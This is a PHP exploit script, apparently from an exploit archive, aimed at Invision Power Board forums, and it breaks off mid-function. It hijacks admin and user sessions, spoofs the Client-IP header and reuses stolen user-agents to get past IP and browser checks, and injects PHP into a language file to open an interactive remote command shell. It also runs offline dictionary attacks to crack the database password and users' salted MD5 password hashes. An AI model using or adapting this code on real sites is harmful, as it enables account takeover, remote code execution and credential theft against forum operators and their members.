|
|
#!/usr/bin/php -q=0D
mhead();=0D
=0D
# Gimme your args=0D
$this->p_attack = $this->get_p('attack', true);=0D
$this->p_prox = $this->get_p('proxhost');=0D
$this->p_proxa = $this->get_p('proxauth');=0D
=0D
$this->init_global();=0D
=0D
# Proxy params=0D
if( $this->p_prox )=0D
{=0D
$this->web->proxy($this->p_prox);=0D
=0D
if( $this->p_proxa )=0D
$this->web->proxyauth($this->p_proxa);=0D
}=0D
=0D
# Where do we go ?=0D
switch( $this->p_attack )=0D
{=0D
case 1: $this->code_exec(); break;=0D
case 2; $this->bf_sql_pwd(); break;=0D
case 3: $this->bf_usr_pwd(); break;=0D
default: $this->usage();=0D
}=0D
=0D
return;=0D
}=0D
=0D
function code_exec($loop=1)=0D
{=0D
# First loop=0D
if( $loop == 1 )=0D
{=0D
$this->set_sql_param();=0D
$this->set_sql_focus();=0D
=0D
$this->p_acp = $this->get_p('acp');=0D
=0D
# ACP path=0D
if( !$this->p_acp )=0D
{=0D
# If the user changed the ACP directory, we can=0D
# find it (if the "Remove ACP Link" option was not=0D
# applied) by log in as an Admin, and then click=0D
# on "Admin CP". This can be done with a user=0D
# but I didn't implemented that ;)=0D
$this->msg('Using default ACP path: admin', 1);=0D
$this->p_acp = 'admin';=0D
}=0D
else =0D
$this->msg('Using ACP path "'.$this->p_acp.'"', 1);=0D
=0D
# Init client headers:=0D
# Only if we have the same IP as the targeted user (not admin),=0D
# it resets session datas, so we try to spoof our =0D
# IP as a random one in order to keep user's session datas while=0D
# we bruteforce SQL fields.=0D
$this->bypass_matches();=0D
=0D
# Remove expired sessions ( time() - 60*60*2 = > 2 hours )=0D
$this->web->get($this->p_url.$this->p_acp.'/index.php?');=0D
$this->msg('Removed all out of date admin sessions', 1);=0D
=0D
# Cookie prefix=0D
$this->get_cprefix();=0D
}=0D
=0D
# Admin session ?=0D
$this->msg('Trying to find an admin session id', 0);=0D
=0D
# Got one :]=0D
if( $this->get_admin_sess() )=0D
{=0D
$this->s_admin = true;=0D
$this->s_sess = $this->data['a_sess_id'];=0D
$this->a_url = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;=0D
}=0D
=0D
# Nothing special=0D
else =0D
{=0D
$this->s_admin = false;=0D
$this->msg('No admin session id found', -1);=0D
}=0D
=0D
# User session ?=0D
if( !$this->s_sess )=0D
{=0D
$this->msg('Trying to find a user session id', 0);=0D
=0D
# Yep=0D
if( $this->get_user_sess() )=0D
$this->s_sess = $this->data['u_sess_id'];=0D
=0D
# F0ck=0D
else =0D
{=0D
$this->msg('No user session id found', -1);=0D
$this->msg('Admin session > 2 hours or user logged out', 0);=0D
$this->msg('Keeping trying until the user connects', 0);=0D
$this->msg('Entering loop #'.$loop.' ...', 0);=0D
$this->code_exec(++$loop);=0D
}=0D
}=0D
=0D
$this->msg('Getting security options', 0);=0D
=0D
# Security options=0D
$this->get_sec_options();=0D
=0D
# IP filter ?=0D
if( $this->conf['ip'] === '1' )=0D
{=0D
$this->s_bypass = true;=0D
=0D
$this->msg('IP filter option is turned on', 0);=0D
=0D
# Spoofing protection ?=0D
if( !$this->conf['xforward'] )=0D
{=0D
# Assuming our IP isn't the same etc..=0D
$this->msg('Can\'t bypass the IP filter', -1);=0D
exit(1);=0D
}=0D
=0D
# X-Forwarded-For / Client-IP /=0D
# Proxy-User / X-Cluster-Client-IP=0D
else =0D
{=0D
$this->msg('Cool, we can spoof our IP (Client-IP)', 1);=0D
=0D
if( $this->s_admin )=0D
{=0D
$this->msg('Trying to find admin\'s last IP', 0);=0D
=0D
# Admin IP found=0D
$this->get_admin_ip();=0D
$this->s_ip = $this->data['a_ip_addr'];=0D
}=0D
else =0D
{=0D
$this->s_admin = false;=0D
$this->msg('Trying to find user\'s last used IP', 0);=0D
=0D
# User IP found=0D
$this->get_user_ip();=0D
$this->s_ip = $this->data['u_ip_addr'];=0D
}=0D
=0D
# Nothing found=0D
if( !$this->s_ip )=0D
{=0D
# Ahah (:=0D
$this->msg('No IP found for this user', -1);=0D
$this->give_hope();=0D
}=0D
=0D
# Got one !=0D
else=0D
$this->msg('Ok, using IP '.$this->s_ip, 1);=0D
}=0D
}=0D
=0D
# User-Agent filter ?=0D
if( $this->conf['browser'] === '1' && !$this->s_admin )=0D
{=0D
$this->s_bypass = true;=0D
=0D
$this->msg('Trying to find a valid user-agent', 0);=0D
=0D
# Good=0D
if( $this->get_user_agent() )=0D
{=0D
$this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);=0D
$this->s_agent = $this->data['u_agent'];=0D
}=0D
=0D
# WTF :!=0D
else=0D
{=0D
$this->msg('No user-agent found for this user', -1);=0D
$this->msg('Maybe the browser didn\'t send this header', 0);=0D
$this->s_agent = '';=0D
}=0D
=0D
}=0D
=0D
# Cool !?=0D
if( !$this->s_bypass )=0D
$this->msg('Cool, nothing to bypass', 1);=0D
=0D
$this->msg('Trying to log in', 0);=0D
=0D
# Owned =]=0D
if( $this->is_logged() )=0D
{=0D
# PHP code=0D
if( $this->s_admin )=0D
{=0D
$this->msg('Logged in with an admin session', 1);=0D
$this->exec_code();=0D
}=0D
=0D
# Normal user ?=0D
else=0D
{=0D
$this->msg('Logged in with a user session', 1);=0D
$this->msg('You can log in using the cookie session_id', 1);=0D
=0D
if( $this->s_ip !== $this->def_ip )=0D
$this->msg('Set the Client-IP header to: '.$this->s_ip, 1);=0D
=0D
if( $this->s_agent )=0D
$this->msg('Set the User-Agent header to: '.$this->s_agent, 1);=0D
=0D
exit(0);=0D
}=0D
}=0D
else =0D
{=0D
# Even if the admin logged out .. the admin session=0D
# is still valid ;)=0D
$this->msg('Can\'t log in, the session has expired ?!', -1);=0D
$this->give_hope();=0D
}=0D
=0D
return;=0D
}=0D
=0D
function bf_sql_pwd()=0D
{=0D
$this->p_ip = $this->get_p('ip', true);=0D
$this->p_dict = $this->get_p('dict', true);=0D
=0D
$this->p_sql_u = $this->get_p('sqlusr');=0D
=0D
$this->p_url = $this->get_p('url');=0D
$this->p_uname = $this->get_p('uname');=0D
$this->p_pwd = $this->get_p('pwd');=0D
// or =0D
$this->p_uid = $this->get_p('uid');=0D
$this->p_hash = $this->get_p('passhash');=0D
$this->p_shold = $this->get_p('stronghold');=0D
=0D
if( $this->p_uname && $this->p_pwd && $this->p_url )=0D
{=0D
$this->get_cprefix();=0D
=0D
$this->msg('Trying to get some cookies', 0);=0D
=0D
$g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';=0D
$p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';=0D
=0D
$this->web->post($this->p_url.$g_dat, $p_dat);=0D
=0D
$this->p_uid = $this->web->cookie[$this->s_cprefix.'member_id'];=0D
$this->p_hash = $this->web->cookie[$this->s_cprefix.'pass_hash'];=0D
$this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];=0D
}=0D
elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )=0D
$this->usage();=0D
=0D
if( !$this->p_uid || !$this->p_hash || !$this->p_shold )=0D
{=0D
$this->msg('Can\'t get cookies', -1);=0D
$this->msg('You should try with other parameters', -1);=0D
exit(1);=0D
}=0D
=0D
$this->msg('Ok, using cookies:', 1);=0D
=0D
$this->msg('member_id='.$this->p_uid, 1);=0D
$this->msg('pass_hash='.$this->p_hash, 1);=0D
$this->msg('ipb_stronghold='.$this->p_shold, 1);=0D
=0D
if( !$this->p_sql_u )=0D
{=0D
$this->set_sql_param();=0D
=0D
$this->msg('Trying to get the current sql user', 0);=0D
=0D
if( !$this->get_sql_user() )=0D
{=0D
$this->msg('Can\'t get the sql user', -1);=0D
$this->msg('If you know the sql user, use -sqlusr', -1);=0D
exit(1);=0D
}=0D
else=0D
$this->p_sql_u = $this->data['sql_user'];=0D
}=0D
=0D
$this->msg('Ok, using sql user '.$this->p_sql_u, 1);=0D
=0D
$dico_c = file($this->p_dict);=0D
$ip_a = explode('.', $this->p_ip);=0D
=0D
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);=0D
$this->msg('You should take a drink ...', 0);=0D
=0D
foreach( $dico_c as $line )=0D
{=0D
$md5 = md5(trim($line).$this->p_sql_u);=0D
$md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;=0D
$md5 = md5($md5);=0D
=0D
if( $this->p_shold === $md5 )=0D
{=0D
$this->msg('Found something cool =]', 1);=0D
$this->msg('SQL password: '.$line, 1);=0D
exit(1);=0D
}=0D
=0D
}=0D
=0D
$this->msg('End of the wordlist, password not found', -1);=0D
=0D
return;=0D
}=0D
=0D
function bf_usr_pwd()=0D
{=0D
$this->p_dict = $this->get_p('dict', true);=0D
=0D
$this->p_hash = $this->get_p('passhash');=0D
$this->p_salt = $this->get_p('salt');=0D
=0D
if( !$this->p_hash || !$this->p_salt )=0D
{=0D
$this->set_sql_param();=0D
$this->set_sql_focus();=0D
}=0D
=0D
if( !$this->p_hash )=0D
{=0D
$this->msg('Trying to get the password hash', 0);=0D
=0D
if( !$this->get_pass_hash() )=0D
{=0D
$this->msg('Can\'t get the password hash', -1);=0D
exit(1);=0D
}=0D
else =0D
$this->p_hash = $this->data['pass_hash'];=0D
}=0D
=0D
$this->msg('Ok, using hash '.$this->p_hash, 1);=0D
=0D
if( !$this->p_salt )=0D
{=0D
$this->msg('Trying to get the password salt', 0);=0D
=0D
if( !$this->get_pass_salt() )=0D
{=0D
$this->msg('Can\'t get the password salt', -1);=0D
exit(1);=0D
}=0D
else =0D
$this->p_salt = $this->data['pass_salt'];=0D
}=0D
=0D
$this->msg('Ok, using salt '.$this->p_salt, 1);=0D
=0D
$dico_c = file($this->p_dict);=0D
=0D
$this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);=0D
$this->msg('You should take a drink ...', 0);=0D
=0D
foreach( $dico_c as $line )=0D
{=0D
if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )=0D
{=0D
$this->msg('Found something cool =]', 1);=0D
$this->msg('User password: '.$line, 1);=0D
exit(1);=0D
}=0D
}=0D
=0D
$this->msg('End of the wordlist, password not found', -1);=0D
=0D
return;=0D
}=0D
=0D
function set_sql_param()=0D
{=0D
$this->p_url = $this->get_p('url', true);=0D
$this->p_pre = $this->get_p('prefix');=0D
=0D
# Table prefix=0D
if( !$this->p_pre )=0D
{=0D
# Default table prefix if not precised=0D
$this->msg('Using default table prefix: ibf_', 1);=0D
$this->p_pre = 'ibf_';=0D
}=0D
else =0D
$this->msg('Using table prefix '.$this->p_pre, 1);=0D
=0D
}=0D
=0D
function set_sql_focus()=0D
{=0D
$this->p_uname = $this->get_p('uname');=0D
$this->p_uid = $this->get_p('uid');=0D
=0D
if( $this->p_uname )=0D
$this->msg('Using targeted username '.$this->p_uname, 1);=0D
=0D
elseif( $this->p_uid )=0D
$this->msg('Using targeted user id '.$this->p_uid, 1);=0D
=0D
# Target=0D
if( !($this->p_uname || $this->p_uid) )=0D
{=0D
# Default uid if not precised=0D
$this->msg('Using default user id: 1', 1);=0D
$this->p_uid = 1;=0D
}=0D
=0D
# Focus on ?=0D
if( $this->p_uname )=0D
$this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';=0D
=0D
else =0D
$this->t_on = 'id='.(int)$this->p_uid;=0D
=0D
return;=0D
}=0D
=0D
function exec_code()=0D
{=0D
$this->write_code();=0D
=0D
while( $this->cmd_prompt() )=0D
{=0D
$this->web->addheader('My-Code', $this->cmd);=0D
$this->web->get($this->p_url);=0D
=0D
print "\n".$this->get_answer();=0D
}=0D
=0D
exit(0);=0D
}=0D
=0D
function get_answer()=0D
{=0D
$res_a = explode($this->res_sep, $this->web->getcontent());=0D
=0D
if( !$res_a[1] )=0D
return 'No result to retrieve';=0D
=0D
else =0D
return $res_a[1];=0D
}=0D
=0D
function cmd_prompt()=0D
{=0D
$this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);=0D
=0D
if( !ereg('^(quit|exit)$', $this->cmd) )=0D
{ =0D
$this->cmd = base64_encode($this->cmd);=0D
$this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);=0D
=0D
return TRUE;=0D
}=0D
=0D
else=0D
return FALSE;=0D
}=0D
=0D
function write_code()=0D
{=0D
# Gimme the language ID=0D
$this->get_def_lang();=0D
=0D
# Current lang settings=0D
$p_dat ==0D
'code=edit2&act=lang&id='.$this->g_lid.'§ion'.=0D
'=lookandfeel&lang_file=lang_boards.php';=0D
=0D
$this->web->post($this->a_url, $p_dat);=0D
=0D
# We collect each variable name / value=0D
if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )=0D
{=0D
# POST data =0D
$p_dat ==0D
'code=doedit&act=lang&id='.$this->g_lid.=0D
'&lang_file=lang_boards.php§ion=lo'.=0D
'okandfeel&';=0D
=0D
# &Name=Value=0D
for( $i=0; $i